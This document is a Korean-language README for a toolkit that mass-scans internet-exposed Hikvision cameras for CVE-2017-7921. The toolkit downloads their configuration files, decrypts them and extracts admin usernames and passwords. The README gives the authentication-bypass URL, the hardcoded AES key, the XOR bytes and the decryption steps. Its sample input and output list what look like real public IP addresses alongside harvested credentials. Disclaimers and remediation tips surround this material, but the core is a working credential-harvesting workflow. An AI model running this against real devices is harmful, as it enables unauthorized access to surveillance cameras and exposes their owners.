
New releaseAug 10, 2026
CVE-2017-7921-Research-Toolkit GUI
FOFA를 사용하여 하이크비전(Hikvision)의 CVE-2017-7921 취약점을 신속하게 테스트하고, 로그인 계정과 비밀번호를 제공하며, json 파일을 출력합니다.
CVE-2017-7921 Research Toolkit
보안 고지: 본 도구는 승인된 보안 연구 및 취약점 검증 전용으로만 사용하십시오.
목차
⚖️ 법률 및 윤리 선언
중요 알림: 본 도구를 사용하면 다음 조건에 동의하는 것으로 간주됩니다.
- 공인된 테스트로만 제한: 명시적인 서면 승인을 받은 시스템에만 사용하십시오.
- 법률 준수: 「사이버 보안법」 및 해당 지역의 관련 법규를 엄격히 준수하십시오.
- 책임 있는 공개: 취약점 발견 시 공식 채널을 통해 제조사에 신고하십시오.
- 교육 목적: 본 도구는 사물인터넷(IoT) 보안 인식을 높이기 위한 것입니다.
- 책임은 본인에게: 본 도구를 남용하여 발생하는 법적 결과는 사용자 본인이 부담합니다.
본 프로젝트는 GitHub 보안 연구 정책 및 Hikvision 보안 대응 센터의 공개 규정을 따릅니다.
📖 프로젝트 설명
Hikvision IP 카메라 CVE-2017-7921 인증 우회 취약점에 대한 대량 탐지 및 검증 도구로, 구성 파일의 자동 복호화와 자격 증명 추출을 지원합니다.
설계 목표
- 보안 연구원이 대규모 장치의 보안 상태를 평가할 수 있도록 지원
- 장치 소유자에게 자가 점검 기능 제공
- 수정 권장 사항 보고서 생성 지원
- 사물인터넷 장치 보안 업그레이드 촉진
✨ 기능 특징
- ✅ JSON 형식의 장치 목록 대량 스캔
- ✅ 다중 스레드 동시 탐지 (스레드 수 설정 가능)
- ✅ 암호화된 구성 파일 자동 다운로드
- ✅ 실시간 복호화 및 로그인 자격 증명 추출
- ✅ 스캔 진행 상황 실시간 표시 (tqdm)
- ✅ 결과를 JSON 보고서로 자동 저장
- ✅ 중단 후 스캔 재개 지원
🛠️ 설치 방법
환경 요구 사항
- Python 3.7 이상
- Linux / macOS만 지원 (Windows에서는 일부 기능 제한)
의존성 설치
git clone https://github.com/[你的用户名]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
requirements.txt 내용
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 사용 방법
1. 장치 데이터 파일 준비
도구 디렉터리에 zc/ 폴더를 만들고 장치 목록을 JSON 형식으로 넣으십시오 (줄마다 하나의 장치 객체):
mkdir zc
파일 예시: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
필드 설명:
| 필드 | 설명 | 필수 |
|---|---|---|
link | 장치 HTTP/HTTPS 접근 주소 | ✅ 예 |
city | 도시 정보 | ❌ 아니요 |
country | 국가 코드 | ❌ 아니요 |
org | 조직/ISP 정보 | ❌ 아니요 |
2. 스캔 도구 실행
python batch_decrypt.py
3. 대화형 조작 예시
════════════════════════════════════════════════════════════════════════════════
하이크비전 카메라 구성 파일 취약점 대량 스캔 도구
════════════════════════════════════════════════════════════════════════════════
사용 가능한 JSON 파일:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 바이트)
════════════════════════════════════════════════════════════════════════════════
파일 번호를 선택하세요: 1
선택한 파일: devices_2025.json
장치 데이터를 불러오는 중...
스캔할 총 장치 수: 2000
동시 스레드 수를 입력하세요 (기본값: 5): 10
동시 스레드 수: 10
스캔 시작...
스캔된 총 장치 수: 2000
취약한 장치 발견 수: 127
취약한 장치는 다음 파일에 저장되었습니다: vulnerable_devices.json
📁 출력 결과
스캔이 완료되면 vulnerable_devices.json이 생성되며, 취약한 장치의 모든 정보가 포함됩니다.
예시 출력:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ 방어 및 수정 권장 사항
장치 소유자를 위한 권장 사항
- 펌웨어 즉시 업그레이드: Hikvision 공식 웹사이트에서 최신 버전을 다운로드하십시오.
- 기본 비밀번호 변경: 이미 업그레이드했더라도 기본 admin 비밀번호를 변경해야 합니다.
- 네트워크 격리: 카메라를 별도의 VLAN에 배포하고 공개 네트워크에서 직접 접근을 차단하십시오.
- IP 화이트리스트 활성화: 신뢰할 수 있는 IP만 관리 인터페이스에 접근하도록 허용하십시오.
보안 전문가를 위한 권장 사항
- 스캔 결과 기밀 유지: 패치되지 않은 장치의 상세 정보를 유출해서는 안 됩니다.
- 수정 지원: 장치 소유자에게 적극적으로 연락하여 기술 지원을 제공하십시오.
- 규정 준수 보고: ISO 27001 표준을 충족하는 보안 평가 보고서를 생성하십시오.
🔬 기술 세부 사항
취약점 원리
- 인증 우회:
/System/configurationFile?auth=YWRtaW46MTEK은 하드코딩된 자격 증명을 사용합니다. - 약한 암호화: 구성 파일은 고정된 AES-ECB 키로 암호화됩니다.
- 키 노출: 키
279977f62f6cfd2d91cd75b889ce0c9a가 펌웨어에 하드코딩되어 있습니다.
암호화 프로세스
- 암호화된 바이너리 구성 파일을 가져옵니다.
- AES-ECB 복호화 (첫 번째 블록 제거)
- XOR 혼합 (키:
0x73, 0x8B, 0x55, 0x44) - 정규식을 사용하여 admin 계정 및 이후 비밀번호 필드를 추출합니다.
📝 라이선스
본 소프트웨어는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 사용자는 모든 적용 법률을 준수해야 합니다.
🙏 감사의 말
- 신속하게 대응하고 펌웨어 업데이트를 배포한 Hikvision에 감사드립니다.
- 취약점 분석 자료를 제공한 오픈소스 커뮤니티에 감사드립니다.
- 본 프로젝트는 IoT 보안 연구 모범 사례를 따릅니다.
최종 업데이트: 2025-01-29 | 버전: v1.0.0 | 지원 CVE: CVE-2017-7921